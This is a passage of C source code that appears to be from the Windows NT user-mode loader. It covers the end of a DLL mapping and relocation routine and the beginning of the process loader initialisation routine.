            st = STATUS_OBJECT_PATH_SYNTAX_BAD;

            DbgPrintEx(

                DPFLTR_LDR_ID,

                LDR_ERROR_DPFLTR,

                "LDR: %s - call to RtlDosPathNameToNtPathName_U on path \"%wZ\" failed; returning status %x\n",

                __FUNCTION__,

                &FullDllName,

                st);

            goto Exit;

        }


        st = LdrpCreateDllSection(&NtFileName,

                                  DllFile,

                                  &BaseDllName,

                                  DllCharacteristics,

                                  &Section);


        if (!NT_SUCCESS(st)) {

            DbgPrintEx(

                DPFLTR_LDR_ID,

                LDR_ERROR_DPFLTR,

                "LDR: %s - LdrpCreateDllSection (%wZ) failed with status %x\n",

                __FUNCTION__,

                &NtFileName,

                st);


            LdrpFreeUnicodeString(&FullDllName);

            // We do not free BaseDllName since it's just a substring of FullDllName.


            RtlFreeHeap(RtlProcessHeap(), 0, NtFileName.Buffer);

            goto Exit;

        }

        RtlFreeHeap(RtlProcessHeap(), 0, NtFileName.Buffer);

#if DBG

        LdrpSectionCreates++;

#endif

    } else {

        KnownDll = TRUE;

    }


    ViewBase = NULL;

    ViewSize = 0;


#if DBG

    LdrpSectionMaps++;

    if (LdrpDisplayLoadTime) {

        NtQueryPerformanceCounter(&MapBeginTime, NULL);

    }

#endif


    //

    // arrange for debugger to pick up the image name

    //


    ArbitraryUserPointer = Teb->NtTib.ArbitraryUserPointer;

    Teb->NtTib.ArbitraryUserPointer = (PVOID)FullDllName.Buffer;

    st = NtMapViewOfSection(

            Section,

            NtCurrentProcess(),

            (PVOID *)&ViewBase,

            0L,

            0L,

            NULL,

            &ViewSize,

            ViewShare,

            0L,

            PAGE_READWRITE

            );

    Teb->NtTib.ArbitraryUserPointer = ArbitraryUserPointer;


    if (!NT_SUCCESS(st)) {

        DbgPrintEx(

            DPFLTR_LDR_ID,

            LDR_ERROR_DPFLTR,

            "LDR: %s - failed to map view of section; status = %x\n",

            __FUNCTION__,

            st);


        goto Exit;

    }


    NtHeaders = RtlImageNtHeader(ViewBase);

    if ( !NtHeaders ) {

        NtUnmapViewOfSection(NtCurrentProcess(),ViewBase);

        st = STATUS_INVALID_IMAGE_FORMAT;

        DbgPrintEx(

            DPFLTR_LDR_ID,

            LDR_ERROR_DPFLTR,

            "LDR: %s - unable to map ViewBase (%p) to image headers; failing with status %x\n",

            __FUNCTION__,

            ViewBase,

            st);

        goto Exit;

        }


#if _WIN64

    if (st != STATUS_IMAGE_NOT_AT_BASE &&

        (NtCurrentPeb()->NtGlobalFlag & FLG_LDR_TOP_DOWN) &&

        !(NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) {


        // The image was loaded at its preferred base and has relocs.  Map

        // it again using the default ViewBase.  This will collide with the

        // initial mapping, and force the mm to choose a new base address.

        // On Win64, the mm will do this top-down, forcing the DLL to

        // be mapped above 4gb if possible, to catch pointer truncations.

        PCUNICODE_STRING SystemDll;

        PVOID AlternateViewBase;

        ULONG_PTR AlternateViewSize;

        NTSTATUS AlternateSt;

        BOOLEAN LoadTopDown;


        LoadTopDown = TRUE;

        SystemDll = &User32String;

        if (RtlEqualUnicodeString(&BaseDllName, &User32String, TRUE)) {

            LoadTopDown = FALSE;

        } else {

            SystemDll = &Kernel32String;

            if (RtlEqualUnicodeString(&BaseDllName, &Kernel32String, TRUE)) {

                LoadTopDown = FALSE;

            }

        }

        if (LoadTopDown) {

            //

            // Map the image again.  It will collide with itself, and

            // the 64-bit mm will find a new base address for it,

            // working top-down

            //

            AlternateViewBase = NULL;

            AlternateViewSize = 0;

            ArbitraryUserPointer = Teb->NtTib.ArbitraryUserPointer;

            Teb->NtTib.ArbitraryUserPointer = (PVOID)FullDllName.Buffer;

            AlternateSt = NtMapViewOfSection(

                    Section,

                    NtCurrentProcess(),

                    (PVOID *)&AlternateViewBase,

                    0L,

                    0L,

                    NULL,

                    &AlternateViewSize,

                    ViewShare,

                    0L,

                    PAGE_READWRITE

                    );

            Teb->NtTib.ArbitraryUserPointer = ArbitraryUserPointer;

            if (NT_SUCCESS(AlternateSt)) {

                //

                // Success.  Unmap the original image from the low

                // part of the address space and keep the new mapping

                // which was allocated top-down.

                //

                NtUnmapViewOfSection(NtCurrentProcess(), ViewBase);

                ViewSize = AlternateViewSize;

                ViewBase = AlternateViewBase;

                NtHeaders = RtlImageNtHeader(ViewBase);

                st = AlternateSt;

                if ( !NtHeaders ) {

                    NtUnmapViewOfSection(NtCurrentProcess(),AlternateViewBase);

                    NtUnmapViewOfSection(NtCurrentProcess(),ViewBase);

                    st = STATUS_INVALID_IMAGE_FORMAT;

                    goto Exit;

                }

            }

        }

    }

#endif


#if defined (BUILD_WOW6432)

    if (NtHeaders->OptionalHeader.SectionAlignment < NATIVE_PAGE_SIZE) {

        if (!NT_SUCCESS(stTemp = LdrpWx86FormatVirtualImage(&FullDllName, (PIMAGE_NT_HEADERS32)NtHeaders, ViewBase))) {

            st = stTemp;

            DbgPrintEx(

                DPFLTR_LDR_ID,

                LDR_ERROR_DPFLTR,

                "LDR: %s - Call to LdrpWx86FormatVirtualImage(%ls) failed with status 0x%08lx\n",

                __FUNCTION__,

                FullDllName.Buffer,

                st);


            goto Exit;

        }

    }

#endif


    Cor20Header = RtlImageDirectoryEntryToData(ViewBase,

                                               TRUE,

                                               IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR,

                                               &Cor20HeaderSize);

    OriginalViewBase = ViewBase;


    //

    // if this is an IL_ONLY image, then validate the image now

    //


    if ((Cor20Header != NULL) &&

        ((Cor20Header->Flags & COMIMAGE_FLAGS_ILONLY) != 0)) {

        

        // This is wacky but code later on depends on the fact that st *was* STATUS_IMAGE_MACHINE_TYPE_MISMATCH

        // and got overwritten with STATUS_SUCCESS.  This in effect means that COR images can never have

        // relocation information.  -mgrier 5/21/2001, XP Bug #400007.

        st = LdrpCheckCorImage (Cor20Header,

                                &FullDllName,

                                &ViewBase,

                                &Cor20ILOnly);


        if (!NT_SUCCESS(st))

            goto Exit;

    }



#if DBG

    if (LdrpDisplayLoadTime) {

        NtQueryPerformanceCounter(&MapEndTime, NULL);

        MapElapsedTime.QuadPart = MapEndTime.QuadPart - MapBeginTime.QuadPart;

        DbgPrint("Map View of Section Time %ld %ws\n", MapElapsedTime.LowPart, DllName);

    }

#endif


    //

    // Allocate a data table entry.

    //


    Entry = LdrpAllocateDataTableEntry(ViewBase);


    if (!Entry) {

        DbgPrintEx(

            DPFLTR_LDR_ID,

            LDR_ERROR_DPFLTR,

            "LDR: %s - failed to allocate new data table entry for %p\n",

            __FUNCTION__,

            ViewBase);


        st = STATUS_NO_MEMORY;

        goto Exit;

    }


    Entry->Flags = 0;


    if (StaticLink)

        Entry->Flags |= LDRP_STATIC_LINK;


    if (Redirected)

        Entry->Flags |= LDRP_REDIRECTED;


    Entry->LoadCount = 0;


    Entry->FullDllName = FullDllName;

    FullDllName.Length = 0;

    FullDllName.MaximumLength = 0;

    FullDllName.Buffer = NULL;


    Entry->BaseDllName = BaseDllName;

    BaseDllName.Length = 0;

    BaseDllName.MaximumLength = 0;

    BaseDllName.Buffer = NULL;


    Entry->EntryPoint = LdrpFetchAddressOfEntryPoint(Entry->DllBase);


#if LDRDBG

    if (ShowSnaps)

        DbgPrint(

            "LDR: LdrpMapDll: Full Name %wZ, Base Name %wZ\n",

            &Entry->FullDllName,

            &Entry->BaseDllName);

#endif


    LdrpInsertMemoryTableEntry(Entry);


    LdrpSendDllLoadedNotifications(Entry, (st == STATUS_IMAGE_NOT_AT_BASE) ? LDR_DLL_LOADED_FLAG_RELOCATED : 0);


    if ( st == STATUS_IMAGE_MACHINE_TYPE_MISMATCH ) {


        PIMAGE_NT_HEADERS ImageHeader = RtlImageNtHeader( NtCurrentPeb()->ImageBaseAddress );


        //

        // apps compiled for NT 3.x and below can load cross architecture

        // images

        //


        ErrorStatus = STATUS_SUCCESS;

        ErrorResponse = ResponseCancel;


        if ( ImageHeader->OptionalHeader.MajorSubsystemVersion <= 3 ) {


            Entry->EntryPoint = 0;


            //

            // Hard Error Time

            //


            //

            // Its error time...

            //


            ErrorParameters[0] = (ULONG_PTR)&FullDllName;


            ErrorStatus = NtRaiseHardError(

                            STATUS_IMAGE_MACHINE_TYPE_MISMATCH,

                            1,

                            1,

                            ErrorParameters,

                            OptionOkCancel,

                            &ErrorResponse

                            );

            }

        if ( NT_SUCCESS(ErrorStatus) && ErrorResponse == ResponseCancel ) {



#if defined(_AMD64_) // || defined(_IA64_)



            RtlRemoveInvertedFunctionTable(&LdrpInvertedFunctionTable,

                                           Entry->DllBase);


#endif


            RemoveEntryList(&Entry->InLoadOrderLinks);

            RemoveEntryList(&Entry->InMemoryOrderLinks);

            RemoveEntryList(&Entry->HashLinks);

            LdrpDeallocateDataTableEntry(Entry);


            if ( ImageHeader->OptionalHeader.MajorSubsystemVersion <= 3 ) {

                if ( LdrpInLdrInit ) {

                    LdrpFatalHardErrorCount++;

                    }

                }

            st = STATUS_INVALID_IMAGE_FORMAT;

            goto Exit;

            }

        }

    else {

        if (NtHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL) {

            Entry->Flags |= LDRP_IMAGE_DLL;

            }


        if (!(Entry->Flags & LDRP_IMAGE_DLL)) {

            Entry->EntryPoint = 0;

            }

        }


    *LdrDataTableEntry = Entry;


    if (st == STATUS_IMAGE_NOT_AT_BASE) {


        Entry->Flags |= LDRP_IMAGE_NOT_AT_BASE;


        //

        // now find the colliding dll. If we can not find a dll,

        // then the colliding dll must be dynamic memory

        //


        ImageBase = (PUCHAR)NtHeaders->OptionalHeader.ImageBase;

        ImageBounds = ImageBase + ViewSize;


        CollidingDllFound = FALSE;


        ScanHead = &NtCurrentPeb()->Ldr->InLoadOrderModuleList;

        ScanNext = ScanHead->Flink;


        while ( ScanNext != ScanHead ) {

            ScanEntry = CONTAINING_RECORD(ScanNext, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

            ScanNext = ScanNext->Flink;


            ScanBase = (PUCHAR)ScanEntry->DllBase;

            ScanTop = ScanBase + ScanEntry->SizeOfImage;


            //

            // when we unload, the memory order links flink field is nulled[.]

            // this is used to skip the entry pending list removal.

            //


            if ( !ScanEntry->InMemoryOrderLinks.Flink ) {

                continue;

                }


            //

            // See if the base address of the scan image is within the relocating dll

            // or if the top address of the scan image is within the relocating dll

            //


            if ( (ImageBase >= ScanBase && ImageBase <= ScanTop)


                 ||


                 (ImageBounds >= ScanBase && ImageBounds <= ScanTop)


                 ||


                 (ScanBase >= ImageBase && ScanBase <= ImageBounds)


                 ){


                CollidingDllFound = TRUE;

                CollidingDll = ScanEntry->FullDllName;

                break;

                }

            }


        if ( !CollidingDllFound ) {

            RtlInitUnicodeString(&CollidingDll, L"Dynamically Allocated Memory");

            }


#if DBG

        if ( BeginTime.LowPart || BeginTime.HighPart ) {

            DbgPrint(

                "\nLDR: %s Relocating Image Name %ws\n",

                __FUNCTION__,

                DllName

                );

        }

        LdrpSectionRelocates++;

#endif


        if (Entry->Flags & LDRP_IMAGE_DLL) {


            BOOLEAN AllowRelocation;

            PCUNICODE_STRING SystemDll;


            if (!(NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) {

                PVOID pBaseRelocs;

                ULONG BaseRelocCountBytes = 0;


                //

                // If the image doesn't have the reloc stripped bit set and there's no

                // relocs in the data directory, allow this through.  This is probably

                // a pure forwarder dll or data w/o relocs.

                //


                pBaseRelocs = RtlImageDirectoryEntryToData(

                        ViewBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &BaseRelocCountBytes);


                if (!pBaseRelocs && !BaseRelocCountBytes)

                    goto NoRelocNeeded;

            }


            //

            // decide whether or not to allow the relocation

            // certain system dll's like user32 and kernel32 are not relocatable

            // since addresses within these dll's are not always stored per process

            // do not allow these dll's to be relocated

            //


            AllowRelocation = TRUE;

            SystemDll = &User32String;

            if ( RtlEqualUnicodeString(&Entry->BaseDllName, SystemDll, TRUE)) {

                AllowRelocation = FALSE;

            } else {

                SystemDll = &Kernel32String;

                if (RtlEqualUnicodeString(&Entry->BaseDllName, SystemDll, TRUE))

                    AllowRelocation = FALSE;

            }


            if ( !AllowRelocation && KnownDll ) {


                //

                // totally disallow the relocation since this is a knowndll

                // that matches our system binaries and is being relocated

                //


                //

                // Hard Error Time

                //


                ErrorParameters[0] = (ULONG_PTR)SystemDll;

                ErrorParameters[1] = (ULONG_PTR)&CollidingDll;


                NtRaiseHardError(

                    STATUS_ILLEGAL_DLL_RELOCATION,

                    2,

                    3,

                    ErrorParameters,

                    OptionOk,

                    &ErrorResponse);


                if ( LdrpInLdrInit ) {

                    LdrpFatalHardErrorCount++;

                }


                st = STATUS_CONFLICTING_ADDRESSES;

                goto skipreloc;

            }


            st = LdrpSetProtection(ViewBase, FALSE, StaticLink );

            if (NT_SUCCESS(st)) {

                __try {

                    st = LdrRelocateImage(ViewBase,

                                "LDR",

                                STATUS_SUCCESS,

                                STATUS_CONFLICTING_ADDRESSES,

                                STATUS_INVALID_IMAGE_FORMAT);

                } __except (LdrpGenericExceptionFilter(GetExceptionInformation(), __FUNCTION__)) {

                    st = GetExceptionCode();

                }


                if (NT_SUCCESS(st)) {

                    //

                    // If we did relocations, then map the section again.

                    // this will force the debug event

                    //


                    //

                    // arrange for debugger to pick up the image name

                    //


                    ArbitraryUserPointer = Teb->NtTib.ArbitraryUserPointer;

                    Teb->NtTib.ArbitraryUserPointer = (PVOID)FullDllName.Buffer;


                    st = NtMapViewOfSection(

                        Section,

                        NtCurrentProcess(),

                        (PVOID *)&ViewBase,

                        0L,

                        0L,

                        NULL,

                        &ViewSize,

                        ViewShare,

                        0L,

                        PAGE_READWRITE);


                    if ((st != STATUS_CONFLICTING_ADDRESSES) && !NT_SUCCESS(st)) {

                        DbgPrintEx(

                            DPFLTR_LDR_ID,

                            LDR_ERROR_DPFLTR,

                            "[%x,%x] LDR: Failed to map view of section; ntstatus = %x\n",

                            HandleToULong(NtCurrentTeb()->ClientId.UniqueProcess),

                            HandleToULong(NtCurrentTeb()->ClientId.UniqueThread),

                            st);


                        goto Exit;

                    }


                    Teb->NtTib.ArbitraryUserPointer = ArbitraryUserPointer;


                    st = LdrpSetProtection(ViewBase, TRUE, StaticLink);

                }

            }

skipreloc:

            //

            // if the set protection failed, or if the relocation failed, then

            // remove the partially loaded dll from the lists and clear entry

            // that it has been freed.

            //


            if ( !NT_SUCCESS(st) ) {


#if defined(_AMD64_) // || defined(_IA64_)



                RtlRemoveInvertedFunctionTable(&LdrpInvertedFunctionTable,

                                               Entry->DllBase);


#endif


                RemoveEntryList(&Entry->InLoadOrderLinks);

                RemoveEntryList(&Entry->InMemoryOrderLinks);

                RemoveEntryList(&Entry->HashLinks);

                if (ShowSnaps) {

                    DbgPrint("LDR: Fixups unsuccessfully re-applied @ %p\n",

                           ViewBase);

                }

                goto Exit;

            }


            if (ShowSnaps) {               

                DbgPrint("LDR: Fixups successfully re-applied @ %p\n",

                       ViewBase);               

            }

        } else {

NoRelocNeeded:

            st = STATUS_SUCCESS;


            //

            // arrange for debugger to pick up the image name

            //


            ArbitraryUserPointer = Teb->NtTib.ArbitraryUserPointer;

            Teb->NtTib.ArbitraryUserPointer = (PVOID)FullDllName.Buffer;


            st = NtMapViewOfSection(

                Section,

                NtCurrentProcess(),

                (PVOID *)&ViewBase,

                0L,

                0L,

                NULL,

                &ViewSize,

                ViewShare,

                0L,

                PAGE_READWRITE

                );

            Teb->NtTib.ArbitraryUserPointer = ArbitraryUserPointer;


            // If the thing was relocated, we get back the failure status STATUS_CONFLICTING_ADDRESSES

            // but of all the strange things, the relocations aren't done.  I have questions in to folks

            // asking about this behavior but who knows how many legacy apps depend on dlls that statically

            // link to EXEs which from time to time are not loaded at their default addresses.  -mgrier 4/9/2001

            if ((st != STATUS_CONFLICTING_ADDRESSES) && !NT_SUCCESS(st))

                DbgPrintEx(

                    DPFLTR_LDR_ID,

                    LDR_ERROR_DPFLTR,

                    "[%x,%x] LDR: %s - NtMapViewOfSection on no reloc needed dll failed with status %x\n",

                    HandleToULong(NtCurrentTeb()->ClientId.UniqueProcess),

                    HandleToULong(NtCurrentTeb()->ClientId.UniqueThread),

                    __FUNCTION__,

                    st);

            else

                st = STATUS_SUCCESS;


            if (ShowSnaps)

                DbgPrint("LDR: Fixups won't be re-applied to non-Dll @ %p\n", ViewBase);

        }

    }


    //

    // if this is NOT an IL_ONLY image, then validate the image now after applying the

    // fixups

    //


    if ((Cor20Header != NULL) &&

        ((Cor20Header->Flags & COMIMAGE_FLAGS_ILONLY) == 0)) {

        

        st = LdrpCheckCorImage (Cor20Header,

                                &FullDllName,

                                &ViewBase,

                                &Cor20ILOnly);

        if (!NT_SUCCESS (st)) {

            goto Exit;

        }

    }


    if (Cor20ILOnly) {

        Entry->Flags |= LDRP_COR_IMAGE;

    }


    if (ViewBase != OriginalViewBase) {

        Entry->Flags |= LDRP_COR_OWNS_UNMAP;

    }


#if defined (_ALPHA_)

    //

    // Find and apply Alpha architecture fixups for this dll

    //

    if (Entry->Flags & LDRP_IMAGE_DLL)

        AlphaFindArchitectureFixups(NtHeaders, ViewBase, StaticLink);

#endif


#if defined(_X86_)

    if ( LdrpNumberOfProcessors > 1 && (Entry->Flags & LDRP_IMAGE_DLL) ) {

        LdrpValidateImageForMp(Entry);

        }

#endif


    ViewBase = NULL;


Exit:

    if (ViewBase != NULL) {

        if (Cor20ILOnly)

            LdrpCorUnloadImage(ViewBase);


        if (ViewBase == OriginalViewBase)

            NtUnmapViewOfSection(NtCurrentProcess(),ViewBase);

    }


    if (Section != NULL)

        NtClose(Section);


    if (AppCompatDllName != NULL)

        (*RtlFreeStringRoutine)(AppCompatDllName);


    if (FullDllName.Buffer != NULL)

        LdrpFreeUnicodeString(&FullDllName);


#if DBG

    if (!NT_SUCCESS(st) && (ShowSnaps || st != STATUS_DLL_NOT_FOUND))

        DbgPrint("LDR: %s(%ws) failing 0x%lx\n", __FUNCTION__, DllName, st);

#endif


    return st;

}


NTSTATUS
LdrpInitializeProcess (
    IN PCONTEXT Context OPTIONAL,
    IN PVOID SystemDllBase,
    IN PUNICODE_STRING UnicodeImageName,
    IN BOOLEAN UseCOR,
    IN BOOLEAN ImageFileOptionsPresent
    )

/*++

Routine Description:

    This function initializes the loader for the process.
    This includes:

        - Initializing the loader data table

        - Connecting to the loader subsystem

        - Initializing all staticly linked DLLs

Arguments:

    Context - Supplies an optional context buffer that will be restore
              after all DLL initialization has been completed.  If this
              parameter is NULL then this is a dynamic snap of this module.
              Otherwise this is a static snap prior to the user process
              gaining control.

    SystemDllBase - Supplies the base address of the system dll.

    UnicodeImageName - Base name + extension of the image

    UseCOR - TRUE if the image is a COM+ runtime image, FALSE otherwise

    ImageFileOptionsPresent - Hint about existing any ImageFileExecutionOption key.
            If the key is missing the ApplicationCompatibilityGoo and
            DebugProcessHeapOnly entries won't be checked again.

Return Value:

    Status value

--*/

{
    PPEB Peb;
    NTSTATUS st;
    PWCH p, pp;
    UNICODE_STRING CurDir;
    UNICODE_STRING FullImageName;
    UNICODE_STRING CommandLine;
    ULONG DebugProcessHeapOnly = 0 ;
    HANDLE LinkHandle;
    static WCHAR SystemDllPathBuffer[DOS_MAX_PATH_LENGTH];
    UNICODE_STRING SystemDllPath;
    PLDR_DATA_TABLE_ENTRY LdrDataTableEntry;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    UNICODE_STRING Unicode;
    OBJECT_ATTRIBUTES Obja;
    BOOLEAN StaticCurDir = FALSE;
    ULONG i;
    PIMAGE_NT_HEADERS NtHeader;
    PIMAGE_LOAD_CONFIG_DIRECTORY ImageConfigData;
    ULONG ProcessHeapFlags;
    RTL_HEAP_PARAMETERS HeapParameters;
    NLSTABLEINFO InitTableInfo;
    LARGE_INTEGER LongTimeout;
    UNICODE_STRING NtSystemRoot;
    LONG_PTR Diff;
    ULONG_PTR OldBase;
    PWSTR pw ;
    PVOID pAppCompatExeData;

    UNICODE_STRING ImagePathName; // for .local dll redirection, xwu
    PWCHAR ImagePathNameBuffer = NULL;
    BOOL DotLocalExists = FALSE;

    typedef NTSTATUS (NTAPI * PKERNEL32_PROCESS_INIT_POST_IMPORT_FUNCTION)();
    PKERNEL32_PROCESS_INIT_POST_IMPORT_FUNCTION Kernel32ProcessInitPostImportFunction = NULL;
    const ANSI_STRING Kernel32ProcessInitPostImportFunctionName = RTL_CONSTANT_STRING("BaseProcessInitPostImport");

    LDRP_CHECKPOINT();

    NtDllBase = SystemDllBase;

    Peb = NtCurrentPeb();
    NtHeader = RtlImageNtHeader( Peb->ImageBaseAddress );

    if (!NtHeader) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - failing because we were unable to map the image base address (%p) to the PIMAGE_NT_HEADERS\n",
            __FUNCTION__,
            Peb->ImageBaseAddress);

        return STATUS_INVALID_IMAGE_FORMAT;
    }

    LDRP_CHECKPOINT();

    if (
#if defined(_WIN64)
        NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC &&
#endif
        NtHeader->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_NATIVE ) {

        //
        // Native subsystems load slower, but validate their DLLs
        // This is to help CSR detect bad images faster
        //

        LdrpVerifyDlls = TRUE;

        }

    //
    // capture app compat data and clear shim data field
    //

#if defined(_WIN64)
    //
    // If this is an x86 image, then let 32-bit ntdll read
    // and reset the appcompat pointer
    //

    if (UseWOW64 == FALSE)
#endif
    {
        pAppCompatExeData = Peb->pShimData;
        Peb->pShimData = NULL;
    }

#if defined(BUILD_WOW6432)
    {
        //
        // The process is running in WOW64.  Sort out the optional header
        // format and reformat the image if its page size is smaller than
        // the native page size.
        //
        PIMAGE_NT_HEADERS32 NtHeader32 = (PIMAGE_NT_HEADERS32)NtHeader;

        st = STATUS_SUCCESS;

        if (NtHeader32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 &&
            NtHeader32->OptionalHeader.SectionAlignment < NATIVE_PAGE_SIZE &&
            !NT_SUCCESS(st = LdrpWx86FormatVirtualImage(NULL,
                                 NtHeader32,
                                 Peb->ImageBaseAddress
                                 ))) {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - failing wow64 process initialization because:\n"
                "   FileHeader.Machine (%u) != IMAGE_FILE_MACHINE_I386 (%u) or\n"
                "   OptionalHeader.SectionAlignment (%u) >= NATIVE_PAGE_SIZE (%u) or\n"
                "   LdrpWxFormatVirtualImage failed (ntstatus %x)\n",
                __FUNCTION__,
                NtHeader32->FileHeader.Machine, IMAGE_FILE_MACHINE_I386,
                NtHeader32->OptionalHeader.SectionAlignment, NATIVE_PAGE_SIZE,
                st);

            if (st == STATUS_SUCCESS)
                st = STATUS_INVALID_IMAGE_FORMAT;

            return st;
        }
    }
#endif

    LdrpNumberOfProcessors = Peb->NumberOfProcessors;
    RtlpTimeout = Peb->CriticalSectionTimeout;
    LongTimeout.QuadPart = Int32x32To64( 3600, -10000000 );

    if (ProcessParameters = RtlNormalizeProcessParams(Peb->ProcessParameters)) {
        FullImageName = ProcessParameters->ImagePathName;
        CommandLine = ProcessParameters->CommandLine;
    } else {
        RtlInitEmptyUnicodeString(&FullImageName, NULL, 0);
        RtlInitEmptyUnicodeString(&CommandLine, NULL, 0);
    }

    LDRP_CHECKPOINT();

    RtlInitNlsTables(
        Peb->AnsiCodePageData,
        Peb->OemCodePageData,
        Peb->UnicodeCaseTableData,
        &InitTableInfo);

    RtlResetRtlTranslations(&InitTableInfo);

#if defined(_WIN64)
    if (UseWOW64 || UseCOR) {
        //
        // Ignore image config data when initializing the 64-bit loader.
        // The 32-bit loader in ntdll32 will look at the config data
        // and do the right thing.
        //
        ImageConfigData = NULL;
    } else
#endif
    {

        ImageConfigData = RtlImageDirectoryEntryToData( Peb->ImageBaseAddress,
                                                        TRUE,
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG,
                                                        &i
                                                      );
    }

    RtlZeroMemory( &HeapParameters, sizeof( HeapParameters ) );
    ProcessHeapFlags = HEAP_GROWABLE | HEAP_CLASS_0;
    HeapParameters.Length = sizeof( HeapParameters );
    if (ImageConfigData != NULL && i == sizeof( *ImageConfigData )) {
        Peb->NtGlobalFlag &= ~ImageConfigData->GlobalFlagsClear;
        Peb->NtGlobalFlag |= ImageConfigData->GlobalFlagsSet;

        if (ImageConfigData->CriticalSectionDefaultTimeout != 0) {
            //
            // Convert from milliseconds to NT time scale (100ns)
            //
            RtlpTimeout.QuadPart = Int32x32To64( (LONG)ImageConfigData->CriticalSectionDefaultTimeout,
                                                 -10000);

            }

        if (ImageConfigData->ProcessHeapFlags != 0) {
            ProcessHeapFlags = ImageConfigData->ProcessHeapFlags;
            }

        if (ImageConfigData->DeCommitFreeBlockThreshold != 0) {
            HeapParameters.DeCommitFreeBlockThreshold = ImageConfigData->DeCommitFreeBlockThreshold;
            }

        if (ImageConfigData->DeCommitTotalFreeThreshold != 0) {
            HeapParameters.DeCommitTotalFreeThreshold = ImageConfigData->DeCommitTotalFreeThreshold;
            }

        if (ImageConfigData->MaximumAllocationSize != 0) {
            HeapParameters.MaximumAllocationSize = ImageConfigData->MaximumAllocationSize;
            }

        if (ImageConfigData->VirtualMemoryThreshold != 0) {
            HeapParameters.VirtualMemoryThreshold = ImageConfigData->VirtualMemoryThreshold;
            }
        }

//    //
//    // Check if the image has the fast heap flag set
//    //
//
//    if (NtHeader->OptionalHeader.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_FAST_HEAP) {
//        RtlpDisableHeapLookaside = 0;
//    } else {
//        RtlpDisableHeapLookaside = 1;
//    }

    LDRP_CHECKPOINT();

    ShowSnaps = ((FLG_SHOW_LDR_SNAPS & Peb->NtGlobalFlag) != 0);

    //
    // This field is non-zero if the image file that was used to create this
    // process contained a non-zero value in its image header.  If so, then
    // set the affinity mask for the process using this value.  It could also
    // be non-zero if the parent process created us suspended and poked our
    // PEB with a non-zero value before resuming.
    //
    if (Peb->ImageProcessAffinityMask) {
        st = NtSetInformationProcess( NtCurrentProcess(),
                                      ProcessAffinityMask,
                                      &Peb->ImageProcessAffinityMask,
                                      sizeof( Peb->ImageProcessAffinityMask )
                                    );
        if (NT_SUCCESS( st )) {
            KdPrint(( "LDR: Using ProcessAffinityMask of 0x%Ix from image.\n",
                      Peb->ImageProcessAffinityMask
                   ));
            }
        else {
            KdPrint(( "LDR: Failed to set ProcessAffinityMask of 0x%Ix from image (Status == %08x).\n",
                      Peb->ImageProcessAffinityMask, st
                   ));
            }
        }

    if (RtlpTimeout.QuadPart < LongTimeout.QuadPart) {
        RtlpTimoutDisable = TRUE;
        }

    if (ShowSnaps) {
        DbgPrint( "LDR: PID: 0x%x started - '%wZ'\n",
                  NtCurrentTeb()->ClientId.UniqueProcess,
                  &CommandLine
                );
    }

    LDRP_CHECKPOINT();

    for(i=0;i<LDRP_HASH_TABLE_SIZE;i++) {
        InitializeListHead(&LdrpHashTable[i]);
    }

    //
    // Initialize the critical section package.
    //

    LDRP_CHECKPOINT();

    st = RtlpInitDeferedCriticalSection();
    if (!NT_SUCCESS (st)) {
        return st;
    }

    Peb->TlsBitmap = (PVOID)&TlsBitMap;
    Peb->TlsExpansionBitmap = (PVOID)&TlsExpansionBitMap;

    RtlInitializeBitMap (
        &TlsBitMap,
        &Peb->TlsBitmapBits[0],
        RTL_BITS_OF(Peb->TlsBitmapBits)
        );

    RtlInitializeBitMap (
        &TlsExpansionBitMap,
        &Peb->TlsExpansionBitmapBits[0],
        RTL_BITS_OF(Peb->TlsExpansionBitmapBits)
        );

    InsertTailList(&RtlCriticalSectionList, &LdrpLoaderLock.DebugInfo->ProcessLocksList);

    LdrpLoaderLock.DebugInfo->CriticalSection = &LdrpLoaderLock;
    LoaderLockInitialized = TRUE;

    LDRP_CHECKPOINT();

    //
    // Initialize the stack trace data base if requested
    //

    if ((Peb->NtGlobalFlag & FLG_USER_STACK_TRACE_DB)
        || LdrpShouldCreateStackTraceDb) {

        PVOID BaseAddress = NULL;
        SIZE_T ReserveSize = 8 * RTL_MEG;

        st = LdrQueryImageFileExecutionOptions(UnicodeImageName,
                                               L"StackTraceDatabaseSizeInMb",
                                               REG_DWORD,
                                               &ReserveSize,
                                               sizeof(ReserveSize),
                                               NULL
                                               );

        //
        // Sanity check the value read from registry.
        //

        if (! NT_SUCCESS(st)) {
            ReserveSize = 8 * RTL_MEG;
        }
        else {
            if (ReserveSize < 8) {
                ReserveSize = 8 * RTL_MEG;
            }
            else  if (ReserveSize > 128) {
                ReserveSize = 128 * RTL_MEG;
            }
            else {
                ReserveSize *=  RTL_MEG;
            }

            DbgPrint( "LDR: Stack trace database size is %u Mb \n", ReserveSize / RTL_MEG);
        }

        st = NtAllocateVirtualMemory( NtCurrentProcess(),
            (PVOID *)&BaseAddress,
            0,
            &ReserveSize,
            MEM_RESERVE,
            PAGE_READWRITE);
        if (NT_SUCCESS(st)) {
            st = RtlInitializeStackTraceDataBase( BaseAddress,
                0,
                ReserveSize
                );
            if ( !NT_SUCCESS( st ) ) {
                NtFreeVirtualMemory( NtCurrentProcess(),
                    (PVOID *)&BaseAddress,
                    &ReserveSize,
                    MEM_RELEASE
                    );
            }
            else {

                //
                // If the stack trace db is not created due to page heap
                // enabling then we can set the NT heap debugging flags.
                // If we create it due to page heap then we should not
                // enable these flags because page heap and NT debug heap
                // do not coexist peacefully.
                //

                if (! LdrpShouldCreateStackTraceDb) {
                    Peb->NtGlobalFlag |= FLG_HEAP_VALIDATE_PARAMETERS;
                }
            }
        }
    }

    //
    // Initialize the loader data based in the PEB.
    //

